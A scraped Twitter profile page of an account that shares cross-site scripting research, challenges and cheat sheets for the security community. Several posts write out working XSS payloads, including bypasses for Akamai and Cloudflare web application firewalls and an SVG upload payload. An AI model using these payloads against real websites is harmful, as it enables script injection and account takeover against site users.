XSS Payloads(@XssPayloads) 's Twitter Profileg
XSS Payloads

@XssPayloads

ID:2893592123

linkhttps://xss-payloads.paracyberbellum.io calendar_today26-11-2014 17:54:23

1,5K Tweets

43,1K Followers

0 Following

XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

4 hours ago

POST to XSS: Leveraging Pseudo Protocols to Gain JavaScript Evaluation in SSO Flows, very interesting article by Lauritz
bit.ly/4dEsSYA

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

2 days ago

A payload to bypass Akamai WAF, by jp seg
?foobar=<foo%20bar=%250a%20onclick=<your js code>
Works with any tag and any event handler

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

5 days ago

New Intigriti XSS challenge
challenge-0524.intigriti.io

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 week ago

A weird payload by PortSwigger Research
window&&=(window&&=opener||=alert)?.(1??0,)

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 week ago

mXSS cheatsheet, always useful... by Sonar Research
sonarsource.github.io/mxss-cheatshee…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 week ago

Beyond XSS: Explore the Web Front-end Security Universe, a good site to start and improve with XSS. By huli
bit.ly/46ttM5S

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

2 weeks ago

How we escalated a DOM XSS to a sophisticated 1-click Account Takeover, a great article by Benasin and Long Phan Nguyên
Part 1: bit.ly/49N43qs
Part 2: bit.ly/3xXB2Ld

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

3 weeks ago

A cloudflare WAF bypass payload, reposted by Clandestine
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

3 weeks ago

A nice collection of Server-Side Prototype Pollution gadgets by Mikhail Shcherbakov and the KTH Royal Institute of Technology
github.com/KTH-LangSec/se…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

3 weeks ago

A confeti payload for nicer XSS, by renniepak
Demo: bit.ly/3vYQHJC
Code: 0-a.nl/conf.js

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

4 weeks ago

Bypasses for the most popular WAFs, a useful scheatsheet by Project NZT-48
bit.ly/3UiyoZv

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

Some more payloads, by VAIDIK PANDYA
x.com/h4x0r_fr34k/st…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

Nice collection of XSS filters bypasses by Edra
github.com/Edr4/XSS-Bypas…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

XSS WAF Bypass One payload for all, interesting evasion technique by Edra
bit.ly/3xvW5oc

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

April XSS challenge by Intigriti
challenge-0424.intigriti.io

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

Bypassing DOMPurify with good old XML, nice findings by RyotaK
bit.ly/4amINc3

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

2 interesting XSS writeups by sudi
github.com/Sudistark/xss-…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

SVG File upload payload by Stealthy

<svg> <foreignObject width='100%' height='100%'> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>

x.com/stealthybugs/s…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

DOM Purify - untrusted Node bypass, a way to bypass DOMPurify when used in a specific way, by slonser
bit.ly/4aolQoo

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

March XSS challenge by Intigriti
challenge-0324.intigriti.io

account_circle